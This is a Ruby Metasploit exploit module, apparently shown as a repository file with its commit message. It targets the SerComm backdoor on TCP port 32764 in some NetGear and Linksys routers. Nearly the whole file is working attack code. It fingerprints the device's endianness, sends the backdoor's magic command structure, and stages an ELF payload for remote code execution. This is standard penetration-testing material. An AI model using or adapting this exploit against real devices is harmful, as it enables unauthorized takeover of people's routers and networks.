Matt Andreko
d2458bcd2a
Migrated the Sercomm module to use the CmdStager mixin to provide uploading of the ELF binary. Modified the CmdStagerEcho mixin to allow bypass of the "-en " since in this case, the device messed up when it was used, and would actually write the "-en " to the file, from some flaky busybox version of "echo".
123 lines
2.8 KiB
Ruby
123 lines
2.8 KiB
Ruby
require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::CmdStagerEcho
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#include Msf::Exploit::CmdStagerPrintf
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def initialize(info={})
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super(update_info(info,
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'Name' => "SerComm Device Remote Code Execution",
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'Description' => %q{
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This module will cause remote code execution on several SerComm devices. These
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devices typically include routers from NetGear and Linksys.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', #Initial discovery, poc
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'Matt "hostess" Andreko <mandreko[at]accuvant.com>', #Msf module
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],
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'Payload' =>
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{
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'Space' => 10000, # Could be more, but this should be good enough
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'DisableNops' => true,
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},
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'Platform' => ['linux'],
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'Privileged' => false,
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'Targets' =>
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[
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['Linux MIPS Big Endian',
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{
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'Arch' => ARCH_MIPSBE,
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}
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],
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['Linux MIPS Little Endian',
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{
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'Arch' => ARCH_MIPSLE,
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}
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],
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],
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'DefaultTarget' => 0,
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'References' =>
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[
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[ 'URL', 'https://github.com/elvanderb/TCP-32764' ],
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],
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'DisclosureDate' => "Dec 31 2013" ))
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register_options(
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[
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Opt::RPORT(32764),
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], self.class)
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end
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def check
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fprint = endian_fingerprint()
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case fprint
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when 'BE'
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print_status("Detected Big Endian")
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return Msf::Exploit::CheckCode::Vulnerable
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when 'LE'
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print_status("Detected Little Endian")
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return Msf::Exploit::CheckCode::Vulnerable
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else
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print_error("Connection failed: #{e.class}: #{e}")
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end
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return Msf::Exploit::CheckCode::Unknown
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end
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def exploit
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execute_cmdstager(:noargs => true)
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handler
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end
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def endian_fingerprint()
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begin
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connect
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sock.put(Rex::Text.rand_text(5, nil))
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res = sock.get_once
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disconnect
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if res.start_with?("MMcS")
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return 'BE'
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elsif res.start_with?("ScMM")
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return 'LE'
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end
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rescue Rex::ConnectionError => e
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print_error("Connection failed: #{e.class}: #{e}")
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return
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end
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end
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def execute_command(cmd, opts)
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vprint_debug(cmd)
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# Get the length of the command, for the backdoor's command injection
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cmd_length = cmd.length()
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# 0x53634d4d => Backdoor code
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# 0x07 => Exec command
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# cmd_length => Length of command to execute, sent after communication struct
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data = [0x53634d4d, 0x07, cmd_length].pack("VVV")
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connect
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# Send command structure followed by command text
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sock.put(data+cmd)
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disconnect
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Rex.sleep(1)
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end
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end
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